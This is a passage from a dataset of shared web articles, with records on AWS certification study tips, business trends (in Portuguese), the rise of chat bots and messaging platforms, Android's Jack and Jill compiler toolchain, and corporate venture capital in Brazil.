don't automatically reflect what they do (Elastic Beanstalk and Lambda to name but two). Also, if you're a ""traditional"" infrastructure guy who has come through the ages with real tin, then virtualisation and now cloud, a lot of those concepts travel with it. For example, Direct Connect uses virtual interfaces and BGP, so if you know networking to say a 300 or 400 level, you'll be OK. There are increasing amounts of study materials out there, quick shout out to some that I used include:- Acloud.guru (sensibly priced training that keeps being updated) LinuxAcademy (longer more in depth tutorials) CloudAcademy (slightly shorter format) AWS Documentation (info from the horse's mouth) ReInvent sessions (mainly 2015, but some 2014 too) Qwiklabs (they now do an ""all you can eat"" subscription for around £37 a month with scripted hands on labs on various topics) Practice Exam (Provided by Kryterion, this is a 40 question sample test that has questions of a similar type to the real thing) The practice test is quite useful and don't get too downbeat if you don't pass this or get a good score. I've never known anyone actually pass this test. Some of the questions aren't worded too well either, but it gives you a flavour. As it's a practice exam, I took screen shots of each question so I could take it away and research the possible answers to make sure I was well prepared. AWS recommend the "" Advanced Architecting on AWS "" class, but I've heard nothing good about this course and from what I can gather, it gives you no real lead into the Pro exam itself, which it's supposed to. As ever, I believe taking a hybrid approach to learning provides the best return, but everyone is different. The ReInvent YouTube channel is learning gold, and well worth a look. Many questions are ""case study"" type questions, so it's always good to see real AWS customers and how they solved problems using the technology. This way of thinking can help you in the exam. All sessions slides are also published to SlideShare, so you can download them and take them with you for learning purposes. The ReInvent sessions are a broad mix of deep dives, 101 level sessions, cases studies and are well worth the time. Remember you can play them at a faster speed if your attention span is as short as mi.... Another good tip I had was to have a look the FAQ pages for each AWS product, this can be useful for example when weighing up when to use SQS and when to use Kinesis Streams, for example. It goes without saying that you should make notes as you go. Lots and lots of notes . I think I was up to about 54 pages of them by the end. I might try and corral them into some sort of logical order and publish them as a study guide, but that depends on the time I have. What makes sense to me might not make sense to others. Finally, I think I'd say that you need to make the most of the time you have in the exam. It's long and tortuous and you have to be able to focus for all of that time, which is virtually impossible for me, hence scraping a pass. Read and re-read the questions and answers and make sure you understand what is being asked and what is being proposed in the answers. Not all questions are war and peace, some are short and so don't worry about the ""two minutes per question"" thing. Look out for certain key words too in specific contexts, this will help you weed out the incorrect answers in the question. For example:- Scalable, highly available storage (S3) Ingesting data in real time, sensors etc (Kinesis) Sending out notifications to users (SNS) Scalable, high availability (ELB, Auto Scaling Groups) Monitoring (CloudWatch. CloudTrail is an audit tool) Good luck if you're planning on taking it anytime soon. A word to the wise, if you're thinking of going to Pitman Training in Stratford, call ahead of time and make sure they aren't doing any building work on the day you want to schedule the exam. I had incessant drilling from next door for the last 90 minutes of my exam and it drove me round the bend, nearly costing me a pass. Thanks, Pitman. I know it's not directly your fault, but if you know building works are taking place, it's not fair to expect people to sit important exams in that kind of environment. If we fail, we bear the cost and stress, not you. Onwards now, probably to the SysOps Associate exam. Hopefully this post helps you get past the Pro exam. It's a hell of a journey but worth it!",en
1469763357,CONTENT SHARED,-8968101771604200516,3609194402293569455,-1917154947310073862,,,,HTML,https://endeavor.org.br/tendencia-futuro-negocios/,Olhando para o futuro: 5 pontos de atenção,"A é uma das maiores autoridades em previsão de tendências do mundo. Já imaginou como seria saber de antemão o que vai acontecer no mercado daqui 2 anos? Com o avanço da tecnologia e análise de dados, essa realidade está ficando cada vez mais próxima e apurada. Na verdade, o assunto é tão relevante que foi o tema do nosso bate um papo com Paul Coxhill , CMO da WGSN. Muitos pontos foram levantados durante a conversa, mas alguns se destacaram: 1. As tendências que ditam as regras do mercado Muitos empreendedores focam grande parte da sua energia em criar produtos inovadores, mas isso é apenas metade do caminho para o sucesso. O futuro do seu negócio está nas mãos dos seus colaboradores, são eles que vão ditar seu sucesso ou fracasso. Segundo nossa pesquisa que mapeia os desafios dos empreendedores , a gestão de pessoas é o que mais doi nas empresas. Não é para menos que uma das maiores tendências do futuro esteja ligada ao modo como as organizações lidam com seus colaboradores. Já parou para pensar no quanto a entrada da geração Y no mercado de trabalho mudou a visão de muitas empresas sobre a gestão de pessoas? Se essa geração já gerou muitas dores de cabeça, a geração Z vai trazer uma onda totalmente diferente de gestão e as empresas precisam estar preparadas. Leia também: 4 etapas da gestão de pessoas Diferentemente do que acontecia alguns anos atrás, a busca pela estabilidade financeira dos funcionários deu lugar à procura de um ambiente de trabalho com valores e propósitos claros. As formas de remuneração mais tradicionais e promoções já não são diferenciais, o que realmente atrai os chamados ""millenials"" são desafios e uma sede enorme de aprendizado. O futuro será moldado a partir dessas mudanças. Se você quer saber outras tendências, não deixe de conferir o vídeo completo clicando aqui . 2. Como entregar o que o consumidor espera É clichê, mas as melhores soluções são criadas quando o foco está no cliente e no mercado em que ele está inserido. Aqui não estamos falando apenas de análise de dados, mas sim de pegar o telefone e ligar para seus consumidores e entender a visão deles sobre seu produto ou serviço. Por maior que seja a sua empresa, é importante sempre ter uma pessoa ou área dedicada ao atendimento do cliente. E, claro, não podemos esquecer que essas soluções variam de lugar para lugar. Não necessariamente um produto que deu muito certo no Brasil vai ter o mesmo sucesso nos Estados Unidos. Na verdade, essa percepção muda até mesmo de cidade para cidade , quantas vezes você já não ouviu o famoso embate ""biscoito ou bolacha"" entre paulistas e cariocas? 3. Como a IBM e a Google estão se preparando para as tendências do futuro Não é nenhuma surpresa que as tendências do mercado estejam ligadas ao meio ambiente e ao que acontece no mundo, mas a questão aqui é outra: c omo as grandes empresas estão se preparando para o futuro? A aparição do Instagram e Snapchat já fizeram com que algumas organizações quebrassem a cabeça tentando achar o modo certo de utilizar essas novas plataformas, mas agora o desafio está ainda maior. Os avanços da tecnologia estão disponibilizando, quase que diariamente, novas formas de interação do usuário com a marca, aumentando a importância de um bom atendimento . Leia também: A arte de encantar clientes: 5 lições que aprendemos com a Disney A IBM e a Google estão apostando suas fichas em uma nova forma de tecnologia, a inteligência artificial. Mais do que entregar valor para a própria empresa, esse tipo de investimento também está sendo pensando com foco no cliente , visando melhorar seu atendimento e experiência com a marca. Claro, essa jornada ainda está nos seus primeiros passos, mas demonstra a preocupação dessas empresas em transformar essas tendências em um produto ou serviço que seja relevante para seu cliente. O Facebook, por exemplo, está desenvolvendo um projeto chamado ""Box"", no qual as marcas poderiam atender pedidos de clientes apenas por emojis . Ou seja, se você quisesse pedir uma pizza, bastaria enviar uma mensagem com um emoji para o perfil do restaurante que o pedido já seria efetuado. 4. Interpretando seus clientes: um mapa para o sucesso Lembra que falamos sobre entender seu cliente? Mais uma vez estamos aqui reforçando a importância desse relacionamento . Muitas empresas jogam fora os que seus consumidores dão sobre um determinado produto ou serviço. Isso é um erro muito grave. Mais do que entender como seu cliente se sente em relação ao que sua empresa oferece, você deve entender como ele vê seu negócio como um todo. Às vezes, seus clientes têm uma solução para algum desafio que você nem mesmo tinha percebido. São eles que estão do outro lado e sabem, melhor do que qualquer pessoa, quais pontos devem ser melhorados e quais oportunidades sua empresa pode estar desperdiçando . Na verdade, se você der uma chance, existe uma grande possibilidade da sua empresa aprender quais desafios aquele cliente está enfrentando e adaptar suas soluções para ajudá-lo. 5. Inovação e foco devem andar juntos A natureza dos empreendedores está ligada a inovação . Eles são aquelas pessoas que colocam a mão na massa e fazem a mudança acontecer. Existe um grande debate sobre como transmitir esse espírito para toda a organização essa cultura da inovação . Algumas optam por ter uma área que foque somente nisso, outras argumentam que ter uma área voltada para isso faz com que outros colaboradores não se sintam parte do processo e, por isso, não colaborem com ideias inovadoras. Independente de ter ou não uma área, o maior desafio dos empreendedores está em como entregar soluções inovadoras para o mercado . Muitos negócios colocam os pés pelas mãos ao gastarem grande parte do seu caixa em produtos e serviços que vão revolucionar o mercado, mas que demoram mais tempo que o esperado para serem concluídos. Leia também: Inovação aberta: 6 lições para gerar mais resultados Essa gap entre o insight e a entrega do que foi pensando é uma dor recorrente para muitos empreendedores. Sempre vão existir muitas ideias, mas a melhor solução é priorizar quais serão feitas pela sua relevância para o negócio. Por isso, nunca se esqueça: foco e inovação devem andar sempre junto. Saber as tendências do futuro, como as grandes empresas estão se preparando para isso e como inovar é um prato cheio. Se você quiser conferir cada assunto de forma mais aprofundada, não deixe de conferir a série completa com o Paul neste link ou clicando no play aqui embaixo . E, claro, não pense que esses pontos se aplicam apenas para grandes empresas, tudo isso pode ser adaptado para qualquer empreendimento. Vai que dá!",pt
1469794558,CONTENT SHARED,-7033990154815318757,-1479311724257856983,-380451911451092929,,,,HTML,http://venturebeat.com/2016/06/13/the-conversational-economy-part-1-whats-causing-the-bot-craze/,The Conversational Economy Part 1: What's Causing the Bot Craze?,"Back in December, when Slack integrations launched, I wrote Clippy's Revenge about the potential of ""smart messaging"" to become a new platform. Since then, big players have done much to nurture that possibility  -  as if on some secret, jointly agreed-upon master schedule. March: Microsoft released a bot framework at BUILD April: Facebook opened up its Messenger platform at F8, and Telegram announced a prize for bot developers May: Google announced its own Allo Messenger and voice-enabled home speaker at I/O , and Amazon made the sneakily successful Alexa accessible in a browser , without Echo hardware June: Today at WWDC , Apple finally opened up iMessage to third-party integrations and announced the Siri SDK This looks like the battleground of the next tech war, and all eyes are on Apple this week. But how much of the bot craze is hype, and what's worth paying attention to? The frenetic energy around this emerging ecosystem is well-placed but often confusing. After meeting with more than 50 founders in this space, I'd like to offer a structured explanation of the emerging conversational economy and to propose some opportunities (for both big companies and startups). The conversational economy encompasses the growth of: 1) messaging applications, 2) voice-controlled computing, 3) bots and services that sit  -  or just start  -  within messaging apps / voice-controlled hardware, and 4) enabling, picks-and-shovels products. The below will get updated with links as I go. Part 1: Drivers (this article)  -  What's causing the bot craze? Part 2: Drags  - Why the app economy may still rule Part 3: Outcomes and alternatives  - Should you build a conversational service? Part 4: Opportunity for non-tech businesses Drivers: What's causing the bot craze? Most people in Silicon Valley who are talking about the ""conversational opportunity"" are focused on the current crop of enabling technical drivers  -  what I call the ""4 M's"" of next-generation software. Rather than focusing on these (plenty has been written about them already) I'm going to emphasize the less explored yet more important economic, cultural, and ecosystem factors . Enabling technologies mean that the conversational economy can emerge, not that it will . But, as context, the 4 M's are: Moore's Law   - cheaper compute enables processing-heavy applications that were previously prohibitively expensive Multi-tenancy   - on-demand public cloud providers dramatically reduce the cost and complexity of building and scaling a new service Machine learning   -  advances (particularly deep learning algorithms), have proven unreasonably effective at solving problems that are very difficult to write traditional software programs to solve - for example, natural language processing  -  underlying technology for smart ""agent"" services Mobile data - collection of rich, real-time data on smartphones provides both automatic user context and enough data for ML to be effective Economic and cultural factors Pervasive communications. The average teenager today communicates digitally 10x as much as the previous generation, and 100x as much as the generation before that. More than a decade ago, academics such as Thurlow described a ""communication imperative"" -  human beings are driven to maximize their communication volume and satisfaction. More recently, researchers have described it as a compulsion . The mobilization of over-the-top messaging has fully enabled this compulsion  - it makes communication practically free once a person is connected to the internet (removing volume constraints) and enables fast, media-rich innovation in expression (e.g. images, video, emoji, GIFs, filters). Messaging  - as compared to voice or video  -  is fast, low-effort, asynchronous, private, and relatively unobtrusive. We are just now seeing the first adults who grew up able to express their communication imperative in a pervasive way. They spend most of their computing time conversing . The fact that we spend so much time communicating is itself an argument that our communications platform should be our mobile platform. (In Clippy's Revenge , I provide some personal data about time spent in a messaging interface). Consumerization of software expectations . The average person interacts with >10x the variety of software they did a decade ago. Consumer internet software companies, whose lifeblood is organic product adoption and engagement, continuously push the envelope in pursuit of eyeballs (and now, app-opens). They constantly redesign their apps to be ever-faster and more intuitive to use. Mobile distribution has allowed that innovation to reach consumers at a daily, weekly, and monthly cadence. As a result, consumers' expectations around software UX continue to rise  -  they are looking for delight. However, most legacy enterprise software companies fail to deliver. This is due to other heavy requirements (availability, performance, integrity, security), customer lock-in reducing pressure for vendors to change, buyers often being disconnected from the end-users, and technical debt. Of course, big company stagnation and Hooli-like management issues play a role as well. Others have written about this in sad but hilarious detail. Legacy enterprise software isn't keeping pace with rising consumer expectations  - it's even a recruiting issue with younger workers. Many developers see integration with pleasant, fast-moving, highly engaging messaging platforms that feel like consumer software (Slack) as a potential outlet for consumer frustrations with rotting systems. Mobile in the East >>> mobile in the West . The structure of the mobile ecosystem has actually evolved both faster and differently in markets where it was the first mainstream computing platform. Rather than being just a ""new UX craze,"" rich messaging applications are the primary starting point for humans' digital lives in parts of the world. For some 700 million Chinese people, WeChat is the dominant digital identity service, contact book, communications channel to both other humans and to businesses, and channel for commerce and support. It serves as users' B2C and P2P payments rails. It is the preferred search engine for real-world, mobile information, including location and image and sound-based search. Users can go through Didi / Uber driver onboarding flows within WeChat , buy 20-cent melons from a street stand in a rural city by scanning a QR code within WeChat , or interact with 10,000+ other ""official accounts"" all within WeChat  -  a tiny 34MB app . Connie Chan and Mary Meeker both cover this phenomenon extensively. The consumer internet is a partially (and increasingly) global market  - there is cross-pollination of actual software, of software idioms, and of ambition. Within the confines of a single ""app,"" WeChat has built a better app store than Apple, serving a much broader set of use-cases. When U.S.-based developers, product people, and founders interact with WeChat, they inevitably see the potential as transferable. WeChat-envy is itself a driver. Penetration of smartphones in developing economies . I'll talk about developed-economy ""app fatigue"" later on, but the barrier to downloading and using new mobile apps is even higher in developing countries where the cost of mobile internet service represents a much more significant percentage of per-capita income. Google and Facebook are investing in developing-economy mobile data access with initiatives such as Loon and Free Basics . Startups such as LotusFlare want to offer similar services for other app developers. Restrictions on communications to consumers via SMS are also weaker in other parts of the world than in the U.S. Many consumers would actually rather receive marketing via SMS than email, and SMS has magnitudes better open and response rates. In addition, the mobile OS, browser, hardware and app store ecosystem is often much more fragmented in developing countries. This raises the developer burden for native apps (Just imagine the test-and-deploy infrastructure!). Being able to deliver services without requiring a full OS-specific app download will have an even stronger value prop in developing economies. The conversational economy is also not limited to mobile apps  -  services over SMS (such as mobile banking) are much more popular in emerging economies. Transactional mobile services . Less than a decade after the launch of the first smartphone, massive mobile services with transactional business models (most obviously Uber) have emerged. Unlike the enterprise software players, Uber is less concerned that it is sitting in another player's interface  - it wants its users to call Ubers from whatever interface they want, as long as they take more rides. What other real-world services can exist like this? Mobile-enabled food and grocery delivery, self-storage, personal finance , commerce and real-world marketplaces don't have business models directly dependent on app opens and eyeballs. In contrast, entertainment apps like Netflix do. While the quality of a native mobile experience may be an advantage for these transactional businesses, reaching new customers is usually a higher priority than owning the customer experience. For a company that charges the user for a service outside of the phone ( rather than making money off of engagement in an app) messaging platforms represent upside, potentially bringing them lower-friction new users and incremental revenue. Monitoring → automation of knowledge work . When work product and work communication are digitized (as in messaging systems such as Slack, and communications-rich productivity applications such as Figma and Quip ), a valuable new dataset is being collected. Facebook serves up the information it thinks you want to see, because it has thousands (millions?) of interactions per user showing what you've clicked, read, and said before. It's not hard to picture FB automatically posting ""Happy Birthday!"" to my close friends' profiles for me. ""Enterprise social networking"" companies such as Chatter, Yammer, and Jive never achieved the kind of engagement that Slack is achieving today. Every large company in the world is interested in knowledge-worker automation. Communication is a huge part of our work. New messaging platforms and communications-native applications offer richer (if unstructured) passive data collection about how we work than we've ever had before. This data collection is a necessary foundation to automation and augmentation. Messaging ""magic curtain"" could balance business / human needs . I introduced the ""communication imperative"" earlier  - one of the most interesting things about it is what I call the ""magic curtain"" of messaging. Telephone interactive voice response (IVR) systems, with their robotic voices easily identifiable as software, are almost universally disliked. The most common IVR interaction is ""0 for Operator"" (or I'd bet, as frustration levels rise when callers can't reach a human operator, ""F for F*** You""). Yet every large company tries to de-personalize support  - because personally and instantaneously serving customers 24/7 with human agents is expensive. Text offers a channel through which, with sophisticated enough software, it can be very hard to tell what's real  -  it's the Turing Test, everywhere. Brian Christian's The Most Human Human is a fascinating foray into this idea. Messaging could carry context, remove the burden of IVR or web/app GUI navigation from the customer, and enable iterative discovery of needs. It also enables scalable ""human"" outreach, as in inside sales organizations. The ""magic curtain"" of messaging may enable software to serve customers efficiently, making them happy at an acceptable cost to businesses. Commerce, support, and sales are the obvious ""communications"" service roles that you could pull the curtain over. Everyone but Apple wants a different ecosystem. The biggest technology players have data, social graph, and distribution advantages (as evidenced by the amazing growth of Facebook Messenger). In the case of Google and Apple, they control as much of the consumer mobile experience as they choose to. But chinks are appearing in the seemingly impenetrable armor of these giants precisely because they are vying so violently against one another for domination. App fatigue . Businesses and developers need to reach consumers on mobile, but it's become extraordinarily hard to do so with new services. Consumers spend most of their time in apps created by Apple, Facebook, and Google, and the majority of smartphone owners download zero new apps per month . Daily and weekly use-cases (perhaps monthly with a sharp enough pain) dominate the apps that get downloaded and used. But what about all of the software we consumers and workers use less often, the brands we may interact with only once every few months or spontaneously when we don't have a fast connection? Today, the only outlet is mobile web  -  there's an enormous gap in capabilities. I'll dive more deeply into this (and Instant Apps and Subscriptions ) in a future ""Outcomes and alternatives"" post. Native mobile apps are hard to build. Building, maintaining, and refreshing mobile apps on two platforms (often alongside a web service) is hard, expensive, and out of reach for many. Messaging platforms do a better job balancing development effort with value to the customer by providing rich common services (payments, identity, context, social graph). Beyond conversational interfaces potentially being cross-platform, the UI surface is also dramatically reduced, especially at the outset. No longer do companies need to start with compelling visual design, app user boarding flows, and slick gesture interactions. Developers and businesses can start with a ""thinner wedge,"" use shared services, experiment manually (sending human-crafted messages and content), and progressively automate and expand into rich interactions, rather than the somewhat all-or-nothing experience of building native apps. Poor integration leads to poor experiences. The ""native app"" container and tight control of the App Store by Apple has led to more polished experiences on some dimensions, and better security. Apps may break less when they've gone through an approvals team  -  but experiences are higher-friction in other ways. Why should users have to create new accounts just to try any new mobile-native functionality? Enter payments information every time they shop? Manage granular permissions for every app individually? Copy-paste passwords? The controls that operating system players enforce are choking their ecosystems: lengthy, unpredictable app-store approval processes and heavy development burden, stagnation of shared services, and locked-down environments that hamper consumer experiences. This explains much of the explosion of developer interest in building conversational applications. Apple's rivals pin hopes on ""new computing devices."" Dissatisfied with the mobile status quo, Amazon's Alexa Echo and Microsoft's Cortana both represent bets that there will be new centers of gravity for consumer computing. These tech players are starting with contexts in which our small-screened phones are challenged, or where we can deliver something better  -  when we're driving our cars or hanging out at home. Consumer and developer interest in Alexa has caught many by surprise. Seeing the potential, and its alignment with Google's self-declared advantage in A.I. to power conversational voice experiences, Google has also acquired and announced its own projects: Nest, OnHub , and Home . Apple's rivals are hungry for new computing platforms, and the home and the car happen to be contexts where mobile is challenged  -  but hands-free voice interfaces make sense. Strong parallels in B2B software ecosystem. As alluded to above, the snail's pace of UX evolution in enterprise software has led to extremely low engagement. The vast majority of enterprise applications, seven years later, do not have first-class mobile interfaces  - for example, a Fortune 100 aerospace/defense company recently described to me their workaround for a core inventory application lacking a ""mobile mode:"" They are rendering virtual desktop views of their core inventory application on shop-floor iPads, but the slow VDI performance and clunky workflows are driving their workers crazy. The stagnation of existing software and dramatically increased consumer software procurement, combined with the Cambrian explosion of end-user friendly SaaS built on public cloud resources, has created an architecture of fragmented data trapped in small, poorly integrated applications. Growing companies such MuleSoft and Segment already offer approaches to the SaaS integration problem, but Slack is pitching itself as not only the integration answer, but also as the ""user-native"" answer. Tailwinds abound for the conversational economy. The technical triggers are the reason this shift in mobile software can happen. But just because it can happen, doesn't mean it will  -  the economic, cultural, and especially, ecosystem triggers that people have been less focused on are actually more important . The state of the mobile ecosystem (OS players currently failing to enable businesses and developers) is as much a driver for the conversational economy as the technical, economic, and cultural factors. Apple's initial announcements around iMessage and Siri today will only accelerate interest and will raise many new questions. What will the iMessage bot approval process look like? Will iMessage come to Android? One thing is clear  -  this is the new tech battleground, because the big players have made it so. Get more stories like this on Twitter & Facebook Stay tuned for Part 2: The Conversational Economy, Drags (And Why the App Economy May Still Rule) A version of this post appeared on Medium .",en
1469797610,CONTENT SHARED,4695698299220703541,-6627505417926774253,-2856172625122944336,,,,HTML,http://trickyandroid.com/the-dark-world-of-jack-and-jill/,Android - The dark side of Jack and Jill,"Last year Google released new toolchain - Jack (Java Android Compiler Kit) and Jill (Jack Intermediate Library Linker) which is intended to replace existing javac + dx pipeline. In this article I will try to gather my thoughts and concerns regarding this new toolchain. But before I start digging deeper into Jack&Jill I want to take a little detour and give you a high level overview of the existing toolchain and the process of compiling your beloved Android app. Android code compilation 101 To be completely honest, I will not go through entire build process - I will only concentrate on part which is the most relevant to our topic - transforming Java source code into DEX file. Ever since the first dinosaur stepped on this planet, compilation process was going as follows: We start with a plain Java source code. And the goal - is to compile this source code into executable instructions which JVM on your device can understand. For plain Java (not Android) application, we just need a Java compiler ( javac ). This beast can compile Java source code into Java bytecode (*.class files). Java bytecode can be executed by a regular JVM which (most likely) is running on your machine. The thing is, that on Android we use a non-standard JVM. We use its modified version which is highly optimized for mobile environment. Such JVM is called Dalvik (or ART on L+ devices which is even more performant). So since JVM is modified, Java bytecode needs to be modified as well, so Dalvik can understand it. That's the responsibility of dx tool - it takes Java bytecode ( .class files) and transforms it into Android-friendly bytecode (*.dx file) Its interesting to mention that when you include third party library in your project - it comes as a jar (or aar for Android libs) - which in turn is nothing more than just a zipped collection of *.class files 1 . So third party lib goes straight to dx tool because we don't need to compile it. So far its pretty simple, right? Bytecode manipulation As time passed and Android developers became more experienced, people started developing cool tools and plugins which can enhance your code at the Java bytecode level (a.k.a bytecode manipulation). Most popular tools you might have probably heard of: Proguard Jacoco coverage Retrolambda ...and many more It gave us a cool ability to post-process our code w/o making changes to our original sources. F.i. Proguard can analyze your Java bytecode and remove parts which are not used (also known as minimization). Or Retrolambda replaces Java8 lambdas with anonymous inner classes, so your ""lambdas"" work on Android VM which does not support Java8 features 2 . Here is what it looks like: Each class (its bytecode) is processed by bytecode manipulation plugin and the result is fed to dx tool to produce final result. Transform API As number of such tools started to increase it became obvious that Android Gradle build system was not really designed for bytecode manipulators - the only way to ""catch"" the moment when Java bytecode is ready, but not yet processed by dx was to add Gradle task dependency to existing task created by Android Gradle plugin. The name of that task was an implementation detail, it was generated dynamically based on project configuration and Google kept changing it as Android Gradle Plugin evolved. This led to the problem that all those plugins kept breaking with every new Android Plugin release. So Google needed to act. And they did - they introduce Transition API - a simple API which allows you to add a Transformer - class which will be called at the appropriate time of the build process. The input is a Java bytecode. This allows plugin developers to use a much more reliable way of manipulating bytecode and stop using undocumented private APIs. Jack & Jill At the same time, somewhere in parallel in a dungeon, group of Googlers were super busy creating something new, something which will blow everybody's mind! Self driving cars! Jack and Jill! Jack - is a compiler. Similar to javac , but it does a slightly different thing: As you can see, Jack compiles Java source code straight into Dex file! We don't have intermediate *.class files anymore, so dx tool is not needed! But wait! What if I include a third-party library in my project (which comes as a collection of .class files)? And that's when Jill comes into play: Jill can process class files and transform them into special Jayce format which can be used as an input for Jack compiler. So now let's step aside for a second and think... What is going to happen to all those cool plugins we got so addicted to? They all need .class files and Jack compiler doesn't have those anymore... Luckily, Jack provides some of those important for us features out of the box: Retrolambda - will not be needed. Jack can handle lambdas properly Proguard - it is baked into Jack now, so you can still use obfuscation and minimization However, list of downsides is a bit concerning: Transform API is not supported by Jack - there is no intermediate Java bytecode you can modify, so some plugins I didn't mention here will stop working Annotation processing is not currently supported by Jack, so if you heavily depend on libraries like Dagger, AutoValue, etc., you should think twice before switching to Jack. EDIT: As pointed out by Jake Wharton, Jack in N Preview has annotation processing support, but it is not exposed yet through Gradle. Lint detectors which operate on a Java bytecode level are not supported Jack is currently slower than javac + dx Jacoco is not supported - well, I personally find Jacoco questionable (it doesnt really show what you want to see), so can totally live without it Dexguard - enterprise version of Proguard is not currently supported I realize that things I just mentioned are temporary and Google is actively working on addressing them, but unfortunately all that excitement around Android supporting Java8 features will fade pretty soon when people start to realize the real cost behind switching to the new toolchain. Jack is a really cool move and will give Google much more control and flexibility with the build pipeline, but it is in its very early stage and it will take a while before it will start gaining its popularity. Always yours, Pavel Dudka Please enable JavaScript to view the",en
1469798538,CONTENT SHARED,381577463519666187,-1032019229384696495,-4062679676427530452,,,,HTML,https://techcrunch.com/2016/07/28/corporate-venture-growth-in-brazil-is-another-sign-of-a-mature-tech-ecosystem/,Corporate venture growth in Brazil is another sign of a mature tech ecosystem,"Despite recent positive news and a renewed interest of international investors in the country, with some even forecasting an approaching "" tsumoney ,"" the crude reality is that Brazil is suffering. The country has endured a profound financial crisis for the last several years. The path to an economic turnaround has been delayed by a massive political crisis, aggravated by the unearthing of multiple corruption cases perpetrated during Brazil's booming years. As the mess untangles and we go up from what many experts consider the bottom, the consequences for the region's overall economy are now very real. It'll likely be a long way up. Yet, for investors, it's a lifetime opportunity. The harsh macro-economic conditions are a test for the build-out of Brazil's startup ecosystem during the last 10-15 years. A silver lining and bright spot for Brazil is the tech sector, as confirmed in a recent report from LAVCA. ""Fear is the path to the dark side,"" but Brazil's entrepreneurs have stayed confident and continued to found and grow viable, innovative companies, irrespective of the economy-at-large. To some extent, the financial crisis even creates interesting conditions for entrepreneurs, like an overall lower cost to build a business, higher availability of top talent and very real incentives for end users and companies to seek the efficiencies that technology startups typically unleash. Despite recent volatility, the country's political crisis has an end in sight. Brazil has a vibrant democracy, a growing middle class and its $1.53 trillion GDP ranks as the ninth largest global economy. While more than 100 million people in Brazil are already online today, there are nearly another 100 million more to go, indicating sustained growth in years to come. There's now a universe full of opportunities for startups in Brazil, with the accelerating adoption of smartphones as the primary device to access the internet. Tech ecosystem maturity in Brazil If you step back to analyze what's happened to the tech ecosystem in Brazil, there's been a remarkable evolution. While it's pushing it to say the macro-economic crisis in Brazil has been a positive, it's had a sobering effect and brought the region to a higher level of maturity much faster. The average quality of Brazilian entrepreneurs has risen dramatically. Startups have tackled more profound problems, with more creativity and innovation, instead of merely trying to work from and recreate ""copy and paste"" business models. Brazil's tech ecosystem has grown inspired by the way Silicon Valley works, instead of just copying what the Valley has done in the past. New corporate venture funding has begun to blossom fast in Brazil. One characteristic of a thriving ecosystem - and a killer characteristic in Silicon Valley - is the symbiotic relationships between corporations and startups. I'm not only talking about M&As. The symbioses go far beyond that. For example, an expanding willingness and readiness of large companies to buy products and services from smaller, nimble startups. Other momentum-building relationships and transactions include: licensing and distribution agreements, ""acqui-hires"" and IP-driven acquisitions. They bring dynamic, vibrant and shorter cycles to the ecosystem. All this is common practice in Silicon Valley, but it was unheard of in new ecosystems, or at least it was in Brazil - until recently. A recurring explanation as to why this is commonplace in Silicon Valley and not elsewhere is ""startup DNA"" within global giants founded in garages. As former startups that were venture-backed with accelerated growth cycles, they've been there and they get it. By that token, a nascent tech ecosystem in a less mature market would have to wait for organic loops for this to repeat. The same pattern is underway in Brazil with companies like Buscape , MercadoLivre , Movile and TOTVS . They're all VC-backed companies that grew big and now play important roles in the Latin American market. Corporate venture trend is fast-tracking market evolution The fast-growing global trend of corporate venture is fast-tracking new symbioses. Large corporations' strategic decisions to invest in the innovation ecosystem in an organized way have built up significantly during the last five years. There are already more than 1,500 corporate venture units globally, and investment is accelerating in total number and dollar amount of the deals, according to James Mawson, chief editor of Global Corporate Venturing . That is irrespective of ""startup DNA,"" even for century-old family owned businesses. And it's happening globally, from Silicon Valley and Detroit in the U.S., to China and Switzerland and, more recently, within Brazil and across Latin America. Corporate venture in Brazil was sparked by international corporations with lengthy experience in the field. They used it as a mechanism to enter, learn and help develop the region's ecosystem while earning proper financial returns. In 2012, when Redpoint raised its first fund for Brazil, four international corporations joined with similar ambitions. In addition to investing as a limited partner, Cisco launched an innovation center in Rio, with a very interesting, ambitious long-term plan for the region. Other active corporate venture players in Brazil include Intel, Naspers and Qualcomm. The foundation's been laid, and the trend is now accelerating. VC firms have a vested interest in ecosystem evolution, and in working closely with corporations that invest in funds. More recently, there's been a potentially groundbreaking trend in which large corporations in Brazil without a startup heritage have started to pursue not only corporate venture strategies, but broader relationships with the startups. This trend can help fast-track and save a few cycles in the Brazilian ecosystem. It helps global giants better gel with and interact within the regional ecosystem. They no longer only invest in the venture funds or directly in startups. They also learn, teach, buy products and services, collaborate on research, ""acqui-hire"" and jointly distribute new, innovative products - which is all well-aligned with the needs of a nascent ecosystem like Brazil's. New corporate venturing is blossoming in Brazil VC firms have a vested interest in ecosystem evolution, and in working closely with corporations that invest in funds. In September, we helped co-launch an innovative co-working space called Cubo in partnership with Itau, the largest private financial institution in Latin America. Cubo is a major milestone for startups and large corporations to develop deeper and far-reaching relationships in Brazil. Since its launch, more than 100 large companies have approached us and Cubo's leadership team to discuss how to better engage with the technology startup ecosystem in Brazil. New corporate venture funding has begun to blossom fast in Brazil. For example, Embraer , the airplane manufacturer, invested in a corporate fund focused on avionics and related technology. Porto Seguro, a regional insurance company, recently launched an accelerator, its first fund, Porto Growth Edge 1 and a new investment arm called Porto Seguro Capital. At the end of June, Naspers led a $40 million Series F round for Brazil-based mobile commerce platform Movile through its corporate venturing unit, Naspers Ventures. The same week, Qualcomm announced it is funding a new program to achieve the vision of a drone on every farm in Brazil through its Qualcomm Wireless Reach initiative. Monsanto and Microsoft recently committed to invest $92 million in agtech startups. Of course, agriculture is a significant part of Brazil's economy, as the country is a world-leading producer and exporter of many crops. Last October, Brazil hosted its first corporate venturing event to help showcase the government recognizes the importance of the corporate venture trend and is committed to support the process. Led and organized by Jayme Queiroz , investment officer at Apex-Brasil, the event will repeat this year in October. While still early, we believe the rise of corporate venturing in Brazil will be an important catalyst for the innovation ecosystem. The symbioses between large corporations and startups is very valuable, and not having to wait for as many cycles as earlier markets did would be a bliss. More corporate venture involvement with Brazil's ecosystem and entrepreneurs will propel and better prepare and position the entrepreneurs and investors to take advantage of an upswing, whether in smaller waves or a ""tsumoney."" Disclosure: Thees was previously an investor in Buscape and Movile while serving as LatAm Investment Principal for Naspers. Porto Seguro is part of Itau, a Cubo co-founder alongside Redpoint eventures. Cisco is an investor in the Redpoint eventures fund and a sponsor of Cubo.",en
